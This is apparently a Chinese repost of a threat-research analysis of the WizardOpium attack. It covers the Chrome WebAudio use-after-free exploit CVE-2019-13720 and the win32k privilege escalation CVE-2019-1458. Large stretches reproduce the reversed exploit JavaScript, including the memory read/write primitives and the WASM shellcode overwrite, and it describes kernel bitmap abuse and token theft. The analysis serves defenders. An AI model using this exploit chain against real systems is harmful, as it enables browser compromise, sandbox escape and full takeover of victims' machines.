WizardOpium APT组织在攻击中使用了两个Chrome和win32k 0 day漏洞 | xxxWizardOpium APT组织在攻击中使用了两个Chrome和win32k 0 day漏洞 – xxx
菜单

WizardOpium APT组织在攻击中使用了两个Chrome和win32k 0 day漏洞

六月 23, 2020 - 4hou

早在2019年10月,我们在与朝鲜有关的新闻网站上发现了一次经典的水坑攻击,该攻击利用了一系列Google Chrome和Microsoft Windows 0-day 漏洞,通过此文章,我们希望深入研究此攻击中使用的漏洞。

0x01 Chrome远程代码执行漏洞利用

在之前的文章中我们描述了漏洞利用程序加载器,加载器负责目标的初始验证和包含完整浏览器漏洞的下一阶段JavaScript代码的执行。

 https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/

该漏洞利用非常广泛,因为除代码外,它还包含带shellcode的字节数组,可移植可执行(PE)文件和在漏洞利用后期使用的WebAssembly(WASM)模块。该漏洞利用了WebAudio OfflineAudioContext界面中的漏洞,并针对两个版本的Google Chrome 76.0.3809.87和77.0.3865.75。但是,该漏洞是在此之前就引入的,而且带有WebAudio组件的早期版本也容易受到攻击。在我们发现时,当前版本的Google Chrome浏览器为78,尽管该版本也受到了影响,该漏洞利用程序不支持它,并且进行了大量检查以确保仅在受影响的版本上执行该程序以防止崩溃。报告发布后,该漏洞已分配编号为CVE-2019-13720,并已在版本78.0.3904.87中进行了修复,其中包括以下内容提交。释放后重引用(UAF)漏洞可能是由于“渲染”和“音频”线程之间的竞争状况而触发的:

    if (!buffer) {  + BaseAudioContext::GraphAutoLocker context_locker(Context());  + MutexLocker locker(process_lock_);    reverb_.reset();    shared_buffer_ = nullptr;    return;

如你所见,当在ConvolverNode中将音频缓冲区设置为null,且Reverb对象中已经存在活动缓冲区时,函数SetBuffer()可以破坏reverb和shared_buffer对象。

 class MODULES_EXPORT ConvolverHandler final : public AudioHandler {  ...    std::unique_ptr reverb_;    std::unique_ptr shared_buffer_;  ...

这些对象可能仍被Render线程使用,因为代码中两个线程之间没有适当的同步。修补程序添加了两个丢失的锁(图形锁和进程锁),用于在缓冲区被清空时。

该漏洞利用代码被混淆了,但是我们能够对其进行完全逆向并分析所有小细节。通过查看代码,我们可以发现漏洞利用的作者对特定Google Chrome组件(尤其是PartitionAlloc内存分配器)的内部知识非常了解。从下面的逆向代码片段中可以清楚地看出这一点,这些函数在漏洞利用程序中用于从分配器的内部结构中检索有用的信息,包括:SuperPage地址,SuperPage内部按索引划分的PartitionPage地址,使用的PartitionPage的索引以及PartitionPage元数据的地址。所有常量都来自partition_alloc_constants.h

 function getSuperPageBase(addr) {   let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);   let superPageBaseMask = ~superPageOffsetMask;   let superPageBase = addr & superPageBaseMask;   return superPageBase;  }     function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {   let superPageBase = getSuperPageBase(addr);   let partitionPageBase = partitionPageIndex << BigInt(14);   let finalAddr = superPageBase + partitionPageBase;   return finalAddr;  }     function getPartitionPageIndex(addr) {   let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);   let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);   return partitionPageIndex;  }     function getMetadataAreaBaseFromPartitionSuperPage(addr) {   let superPageBase = getSuperPageBase(addr);   let systemPageSize = BigInt(0x1000);   return superPageBase + systemPageSize;  }     function getPartitionPageMetadataArea(addr) {   let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);   let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);   let pageMetadataSize = BigInt(0x20);   let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;   return partitionPageMetadataPtr;  }

该漏洞利用还使用了相对较新的内置BigInt类来处理64位值,作者通常在漏洞利用程序中使用自己的原语。

首先,代码将启动OfflineAudioContext并创建大量的IIRFilterNode对象,这些对象是通过两个float数组初始化的。

 let gcPreventer = [];  let iirFilters = [];     function initialSetup() {   let audioCtx = new OfflineAudioContext(1, 20, 3000);      let feedForward = new Float64Array(2);   let feedback = new Float64Array(1);      feedback[0] = 1;   feedForward[0] = 0;   feedForward[1] = -1;      for (let i = 0; i < 256; i++)          iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));  }

之后,漏洞利用开始了漏洞利用的初始阶段,并尝试触发UAF错误。为此,漏洞利用程序创建了混响组件所需的对象;它创建了另一个巨大的OfflineAudioContext对象和两个ConvolverNode对象-用于启动音频处理的ScriptProcessorNode和用于音频通道的AudioBuffer。

 async function triggerUaF(doneCb) {   let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);   let bufferSource = audioCtx.createBufferSource();   let convolver = audioCtx.createConvolver();   let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);   let channelBuffer = audioCtx.createBuffer(1, 1, 48000);      convolver.buffer = channelBuffer;   bufferSource.buffer = channelBuffer;      bufferSource.loop = true;   bufferSource.loopStart = 0;   bufferSource.loopEnd = 1;      channelBuffer.getChannelData(0).fill(0);      bufferSource.connect(convolver);   convolver.connect(scriptNode);   scriptNode.connect(audioCtx.destination);      bufferSource.start();      let finished = false;      scriptNode.onaudioprocess = function(evt) {        let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);           for (let j = 0; j < channelDataArray.length; j++) {            if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {                 let u64Array = new BigUint64Array(1);                 let u32Array = new Uint32Array(u64Array.buffer);                 u32Array[0] = channelDataArray[j + 0];                 u32Array[1] = channelDataArray[j + 1];                    let leakedAddr = byteSwapBigInt(u64Array[0]);                 if (leakedAddr >> BigInt(32) > BigInt(0x8000))                     leakedAddr -= BigInt(0x800000000000);                  let superPageBase = getSuperPageBase(leakedAddr);                     if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase < BigInt(0xFFFFFFFFFFFF)) {                     finished = true;                     evt = null;                        bufferSource.disconnect();                     scriptNode.disconnect();                     convolver.disconnect();                        setTimeout(function() {                          doneCb(leakedAddr);                     }, 1);                        return;                 }            }        }   };      audioCtx.startRendering().then(function(buffer) {        buffer = null;           if (!finished) {             finished = true;             triggerUaF(doneCb);        }   });      while (!finished) {        convolver.buffer = null;        convolver.buffer = channelBuffer;        await later(100); // wait 100 millseconds   }  };

该函数是递归执行的,它用零填充音频通道缓冲区,开始离线渲染,同时运行循环以使ConvolverNode对象的通道缓冲区无效并重置,并尝试触发错误。该漏洞利用Later()函数模拟Sleep函数,挂起当前线程,并让Render和Audio线程按时完成执行:

 function later(delay) {   return new Promise(resolve => setTimeout(resolve, delay));  }

在执行过程中,漏洞利用程序检查音频通道缓冲区是否包含与先前设置的零不同的任何数据。此类数据的存在将意味着UAF已成功触发,并且在此阶段,音频通道缓冲区应包含泄漏的指针。

PartitionAlloc内存分配器具有一种特殊的漏洞利用缓解措施,其工作原理如下:释放内存区域时,它将字节交换指针的地址,然后将字节交换的地址添加到FreeList结构中。这会使开发变得复杂,因为尝试取消引用此类指针的尝试将导致进程崩溃。为了绕过该技术,漏洞利用使用以下原语,将其简单地交换回指针:

 function byteSwapBigInt(x) {   let result = BigInt(0);   let tmp = x;      for (let i = 0; i < 8; i++) {        result = result << BigInt(8);        result += tmp & BigInt(0xFF);        tmp = tmp >> BigInt(8);   }      return result;  }

该漏洞利用泄漏的指针获取SuperPage结构的地址并进行验证,如果一切都按计划进行,那么它应该是指向ReverbConvolverStage类的临时缓冲区对象的原始指针,该对象将传递给回调函数initialUAFCallback。

 let sharedAudioCtx;  let iirFilterFeedforwardAllocationPtr;     function initialUAFCallback(addr) {   sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);      let partitionPageIndexDelta = undefined;   switch (majorVersion) {        case 77: // 77.0.3865.75             partitionPageIndexDelta = BigInt(-26);           break;        case 76: // 76.0.3809.87             partitionPageIndexDelta = BigInt(-25);             break;   }      iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);         triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);  }

该漏洞利用泄漏的指针获取指向带有IIRFilterNode创建的IIRProcessor对象中的AudioArray  double 类型的feedforward_数组的原始指针的地址。该数组应该位于同一SuperPage中,但是在不同版本的Chrome中,此对象是在不同的PartitionPages中创建的,并且initialUAFCallback中有一个特殊的代码来处理该对象。

该漏洞实际上不是一次触发,而是两次触发。获取正确对象的地址后,该漏洞将再次被利用,这次漏洞利用使用了两个大小不同的AudioBuffer对象,并且先前检索到的地址被喷射到较大的AudioBuffer内部,此函数还递归执行。

 let floatArray = new Float32Array(10);  let audioBufferArray1 = [];  let audioBufferArray2 = [];  let imageDataArray = [];     async function triggerSecondUAF(addr, doneCb) {   let counter = 0;   let numChannels = 1;      let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);      let bufferSource = audioCtx.createBufferSource();   let convolver = audioCtx.createConvolver();      let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);   let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);      smallAudioBuffer.getChannelData(0).fill(0);      for (let i = 0; i < numChannels; i++) {        let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);        channelDataArray[0] = addr;   }      bufferSource.buffer = bigAudioBuffer;   convolver.buffer = smallAudioBuffer;      bufferSource.loop = true;   bufferSource.loopStart = 0;   bufferSource.loopEnd = 1;      bufferSource.connect(convolver);   convolver.connect(audioCtx.destination);      bufferSource.start();      let finished = false;           audioCtx.startRendering().then(function(buffer) {         buffer = null;           if (finished) {            audioCtx = null;               setTimeout(doneCb, 200);            return;        } else {            finished = true;               setTimeout(function() {                 triggerSecondUAF(addr, doneCb);            }, 1);        }   });      while (!finished) {        counter++;           convolver.buffer = null;           await later(1); // wait 1 millisecond           if (finished)             break;           for (let i = 0; i < iirFilters.length; i++) {            floatArray.fill(0);                iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);                if (floatArray[0] != 3.1415927410125732) {                  finished = true;                          audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));                     audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));                    bufferSource.disconnect();                 convolver.disconnect();                    return;            }        }           convolver.buffer = smallAudioBuffer;           await later(1); // wait 1 millisecond   }  }

这次漏洞利用函数getFrequencyResponse()来检查漏洞利用是否成功,该函数创建一个由Nyquist滤波器填充的频率数组,并且该操作的源数组由零填充。

 void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,                                       const float* frequency_hz,                                       float* mag_response,                                       float* phase_response) {  ...    Vector frequency(n_frequencies);    double nyquist = this->Nyquist();    // Convert from frequency in Hz to normalized frequency (0 -> 1),    // with 1 equal to the Nyquist frequency.    for (int k = 0; k < n_frequencies; ++k)   frequency[k] = frequency_hz[k] / nyquist;  ...

如果结果数组包含的值不是π ,则表示开发成功。如果是这种情况,漏洞利用程序将停止其递归并执行函数finalUAFCallback以再次分配音频通道缓冲区并回收以前释放的内存。此函数还通过分配大小不同的各种对象并对堆进行碎片整理来修复堆,以防止可能的崩溃。该漏洞利用还会创建BigUint64Array,稍后将其用于创建任意的读/写原语。

 async function finalUAFCallback() {   for (let i = 0; i < 256; i++) {        floatArray.fill(0);               iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);           if (floatArray[0] != 3.1415927410125732) {            await collectGargabe();               audioBufferArray2 = [];               for (let j = 0; j < 80; j++)                     audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));               iirFilters = new Array(1);              await collectGargabe();               for (let j = 0; j < 336; j++)                 imageDataArray.push(new ImageData(1, 2));            imageDataArray = new Array(10);            await collectGargabe();               for (let j = 0; j < audioBufferArray1.length; j++) {                 let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);                 if (auxArray[0] != BigInt(0)) {                     kickPayload(auxArray);                     return;                 }                 }               return;        }   }  }

通过多次调用即兴创建的collectGarbage函数来执行堆碎片整理,该函数在循环中创建了一个巨大的ArrayBuffer。

 function collectGargabe() {   let promise = new Promise(function(cb) {        let arg;        for (let i = 0; i < 400; i++)            new ArrayBuffer(1024 * 1024 * 60).buffer;        cb(arg);   });   return promise;  }

在执行完这些步骤之后,漏洞利用程序执行函数kickPayload(),传递先前创建的BigUint64Array,其中包含先前释放的AudioArray数据的原始指针地址。

 async function kickPayload(auxArray) {   let audioCtx = new OfflineAudioContext(1, 1, 3000);   let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));   auxArray[0] = byteSwapBigInt(partitionPagePtr);   let i = 0;   do {        gcPreventer.push(new ArrayBuffer(8));        if (++i > 0x100000)            return;   } while (auxArray[0] != BigInt(0));   let freelist = new BigUint64Array(new ArrayBuffer(8));   gcPreventer.push(freelist);   ...

该漏洞利用操纵释放对象的PartitionPage元数据来实现以下行为。如果将另一个对象的地址写入到BigUint64Array中的索引零处,并且创建了一个新的8字节对象并且回读了位于索引0处的值,则将读取位于先前设置的地址处的值。如果在此阶段在索引0处写入内容,那么该值将被写入先前设置的地址。

 function read64(rwHelper, addr) {   rwHelper[0] = addr;   var tmp = new BigUint64Array;   tmp.buffer;   gcPreventer.push(tmp);   return byteSwapBigInt(rwHelper[0]);  }     function write64(rwHelper, addr, value) {   rwHelper[0] = addr;   var tmp = new BigUint64Array(1);   tmp.buffer;   tmp[0] = value;   gcPreventer.push(tmp);  }

构建任意的读/写原语后,进入最后阶段-执行代码,该漏洞利用一种流行的技术利用Web Assembly(WASM)函数来实现。Google Chrome当前为具有即时读(JIT)编译代码的页面分配页面,这些页面具有读/写/执行(RWX)特权,可用于用shellcode覆盖它们。最初,该漏洞利用会启动一个“虚拟” WASM模块,并导致为JIT编译代码分配内存页面。

 const wasmBuffer = new Uint8Array([...]);  const wasmBlob = new Blob([wasmBuffer], {   type: "application/wasm"  });     const wasmUrl = URL.createObjectURL(wasmBlob);  var wasmFuncA = undefined;  WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {   wasmFuncA = result.instance.exports.a;  });

为了执行导出的函数wasmFuncA,利用程序创建了FileReader对象。当使用数据启动此对象时,它将在内部创建FileReaderLoader对象。如果你可以解析PartitionAlloc分配器结构并知道将要分配的下一个对象的大小,则可以预测它将分配给哪个地址。该漏洞利用具有提供的大小的getPartitionPageFreeListHeadEntryBySlotSize()函数,并获取将由FileReaderLoader分配的下一个空闲块的地址。

 let fileReader = new FileReader;  let fileReaderLoaderSize = 0x140;  let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);  if (!fileReaderLoaderPtr)   return;     fileReader.readAsArrayBuffer(new Blob([]));     let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);  if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)   return;

该漏洞利用程序两次获取该地址,以查明是否创建了FileReaderLoader对象,以及该漏洞利用程序是否可以继续执行。该漏洞利用将导出的WASM函数设置为FileReader事件的回调(在本例中为onerror回调),并且由于FileReader类型是从EventTargetWithInlineData派生的,因此可以用来获取其所有事件的地址和JIT编译导出的WASM函数。

 fileReader.onerror = wasmFuncA;     let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);     let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));  let registeredEventListenerPtr = read64(freelist, vectorPtr);  let eventListenerPtr = read64(freelist, registeredEventListenerPtr);  let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));  let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));     let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);  let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);  let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);  let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);     let stubAddrFieldOffset = undefined;  switch (majorVersion) {   case 77:        stubAddrFieldOffset = BigInt(0x8) * BigInt(16);   break;   case 76:        stubAddrFieldOffset = BigInt(0x8) * BigInt(17);   break  }     let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);

变量stubAddr包含页面的地址,该地址带有跳转到JIT编译的WASM函数的存根代码。在此阶段,用shellcode覆盖它就足够了。为此,漏洞利用再次使用函数getPartitionPageFreeListHeadEntEntBySlotSize()来查找下一个0x20字节的空闲块,该块为ArrayBuffer对象的结构大小。当漏洞利用创建新的音频缓冲区时,将创建此对象。

 let arrayBufferSize = 0x20;  let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);  if (!arrayBufferPtr)   return;     let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);  gcPreventer.push(audioBuffer);

该漏洞利用任意读/写原语来获取DataHolder类的地址,该类包含指向数据和音频缓冲区大小的原始指针。该漏洞利用stubAddr覆盖此指针,并设置了巨大的大小。

 let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));     write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);  write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));

现在,所需要做的就是将Uint8Array对象植入此音频缓冲区的内存中,然后将shellcode以及将由shellcode执行的Portable Executable放置在那里。

 let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);  payloadArray.set(shellcode, 0);  payloadArray.set(peBinary, shellcode.length);

为了防止崩溃的可能性,利用程序清除了指向PartitionPage使用的FreeList结构顶部的指针。

 write64(freelist, partitionPagePtr, BigInt(0));

现在,为了执行shellcode,调用导出的WASM函数就足够了。

 try {   wasmFuncA();  } catch (e) {}

0x02 win32k 特权提升漏洞利用

该shellcode似乎是可移植可执行模块的反射PE加载器,该模块也存在于漏洞利用程序中。该模块主要包含通过利用Windows内核组件win32k提升特权来逃逸Google Chrome沙盒的代码,它还负责下载和执行实际的恶意软件。通过仔细分析,我们发现被利用的漏洞实际上是0-day漏洞。我们通知了Microsoft安全响应中心,他们将其分配为CVE-2019-1458并修复了该漏洞。win32k组件的漏洞很多,自Windows NT 4.0以来,它就已经存在。卡巴斯基仅在过去的两年中就发现了五个利用Win32k漏洞的0-day活动。考虑到自Windows 10发行以来,Microsoft已经实施了许多缓解措施,目的就是使Win32k漏洞的利用复杂化,而大多数0 day漏洞在Windows 10发行之前我们都已利用Microsoft Windows的被利用版本,因此这是一个非常有趣的统计数据。Operation WizardOpium中使用的特权提升漏洞是为了支持Windows 7,Windows 10 10240版和Windows 10 14393版而构建的。还要特别注意的是,Google Chrome浏览器具有一种特殊的安全函数,称为Win32k breaking-chain。此安全函数通过禁止从Chrome进程内部访问win32k系统调用来消除整个win32k攻击面。不幸的是,Win32k breaking-chain仅在运行Windows 10的计算机上受支持。因此,可以假设Operation WizardOpium针对使用Windows 7的用户。

CVE-2019-1458是一个任意指针取消引用漏洞。在win32k中,Window对象由tagWND结构表示,也有许多基于此结构的类:ScrollBar,Menu,Listbox,Switch等。tagWND结构的FNID字段用于区分类的类型。不同的类还具有附加到tagWND结构的各种额外数据,这些额外的数据基本上只是通常包含内核指针的不同结构。除此之外,在win32k组件中还有一个系统调用SetWindowLongPtr,可用于设置此额外数据(当然要经过验证)。值得注意的是,SetWindowLongPtr过去与许多漏洞有关(例如CVE-2010-2744,CVE-2016-7255和CVE-2019-0859)。有一个普遍的问题当预初始化的额外数据可能导致系统过程无法正确处理时,对于CVE-2019-1458来说,由SetWindowLongPtr执行的验证是不够的。

 xxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...)   ...   if ( (int)index >= gpsi->mpFnid_serverCBWndProc[(pwnd->fnid & 0x3FFF) - 0x29A] - sizeof(tagWND) )    ...    extraData = (BYTE*)tagWND + sizeof(tagWND) + index    old = *(QWORD*)extraData;    *(QWORD*)extraData = data;    return old;

检查index参数可以避免此错误,但是在补丁发布之前,未初始化mpFnid_serverCBWndProc表中FNID_DESKTOP,FNID_SWITCH,FNID_TOOLTIPS的值,从而使此检查无用,并允许覆盖多余数据中的内核指针。

触发该错误非常简单:首先,创建一个Window,然后可以使用NtUserMessageCall调用任何系统类窗口过程。

 gpsi->mpFnidPfn[(dwType + 6) & 0x1F]((tagWND *)wnd, msg, wParam, lParam, resultInfo);

提供正确的message和dwType参数很重要,该消息必须等于WM_CREATE,dwType通过以下计算在内部转换为fnIndex:(dwType + 6)&0x1F。该漏洞利用的dwType等于0xE0,它会导致fnIndex等于6,它是xxxSwitchWndProc的函数索引,并且WM_CREATE消息将FNID字段设置为等于FNID_SWITCH。

 LRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam, LPARAM lParam)  {  ...    pti = *(tagTHREADINFO **)&gptiCurrent;    if ( wnd->fnid != FNID_SWITCH )    {      if ( wnd->fnid || wnd->cbwndExtra + 296 < (unsigned int)gpsi->mpFnid_serverCBWndProc[6] )        return 0i64;      if ( msg != 1 )        return xxxDefWindowProc(wnd, msg, wParam, lParam);      if ( wnd[1].head.h )        return 0i64;      wnd->fnid = FNID_SWITCH;    }    switch ( msg )    {      case WM_CREATE:        zzzSetCursor(wnd->pcls->spcur, pti, 0i64);        break;      case WM_CLOSE:        xxxSetWindowPos(wnd, 0, 0);        xxxCancelCoolSwitch();        break;      case WM_ERASEBKGND:      case WM_FULLSCREEN:        pti->ptl = (_TL *)&pti->ptl;        ++wnd->head.cLockObj;        xxxPaintSwitchWindow(wnd, pti, 0i64);        ThreadUnlock1();        return 0i64;    }    return xxxDefWindowProc(wnd, msg, wParam, lParam);  }

然后,可以使用NtUserSetWindowLongPtr中 的漏洞覆盖索引为零的额外数据,该数据恰好是指向包含有关“切换窗口”信息的结构的指针。换句话说,该漏洞使设置一些任意内核指针(将被视为此结构)成为可能。

在此阶段,再次调用NtUserMessageCall就足够了,但这一次的消息等于WM_ERASEBKGND。这导致执行xxxPaintSwitchWindow函数,该函数递增和递减我们先前设置的指针所定位的几个整数。

 sub     [rdi+60h], ebx  add     [rdi+68h], ebx  ...  sub     [rdi+5Ch], ecx  add     [rdi+64h], ecx

触发可利用代码路径的重要条件是需要按下ALT键。

通过滥用位图来进行利用。为了成功利用,需要将一些位图彼此相邻分配,并且需要知道其内核地址。为了实现这一目标,该漏洞利用了两种常见的内核ASLR旁路技术。对于Windows 7和Windows 10 build 10240,位图内核地址是通过GdiSharedHandleTable 技术泄漏的:在旧版本的OS中,用户级别有一个特殊的表,该表保存了其中存在的所有GDI对象的内核地址。此特定技术已在Windows 10内部版本14393(Redstone 1)中进行了修补,因此对于此版本,此漏洞利用了另一种常见技术滥用了Accelerator Tables(在Redstone 2中进行了修补)。它涉及创建一个Create Accelerator Table对象,从用户级别可用的gSharedInfo HandleTable中泄漏其内核地址,然后释放Accelerator Table对象并分配一个位图,以重新使用相同的内存地址。

整个利用过程如下:利用过程创建三个彼此相邻的位图,并且其地址被泄漏。该漏洞利用将准备切换窗口,并使用NtUserSetWindowLongPtr中的漏洞将指向第一个位图末尾的地址设置为切换窗口额外的数据。位图由SURFOBJ结构表示,并且需要以一种可使xxxPaintSwitchWindow函数使SURFOBJ结构的sizlBitmap字段递增的方式来计算先前设置的地址,该字段用于分配给第一个位图的位图。sizlBitmap字段指示像素数据缓冲区的边界,增加的值将允许使用SetBitmapBits()函数执行越界写入并覆盖第三个Bitmap对象的SURFOBJ。

SURFOBJ结构的pvScan0字段是像素数据缓冲区的地址,因此使用任意指针覆盖它的能力会导致通过函数GetBitmapBits()/ SetBitmapBits()进行任意读/写原语。该漏洞利用这些原语来解析EPROCESS结构并窃取系统令牌。为了获得EPROCESS结构的内核地址,该漏洞利用函数EnumDeviceDrivers,该函数根据其MSDN描述工作,并且提供了当前加载的驱动程序的内核地址列表。列表中的第一个地址是ntkrnl的地址,为了获取EPROCESS结构的偏移量,利用程序对可执行文件进行了解析,以搜索导出的PsInitialSystemProcess变量。

值得注意的是,该技术仍适用于最新版本的Windows(已通过Windows 10 19H1内部版本18362测试),窃取系统令牌是大多数特权提升漏洞中最常见的UAF漏洞利用技术,在获得系统特权后,漏洞利用程序将下载并执行实际的恶意软件。

0x03 分析总结

对于我们来说,研究Chrome漏洞特别有趣,因为它是一段时间以来首次遇到的Google Chrome 在野0 day攻击。有趣的是,它与特权提升漏洞利用结合使用,该漏洞主要由于Google Chrome的Win32k锁定安全函数而不允许在最新版本的Windows上利用。关于特权提升,有趣的是,在补丁发布仅一周后,我们又对该漏洞进行了1 dday的利用,这表明利用此漏洞非常简单。


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51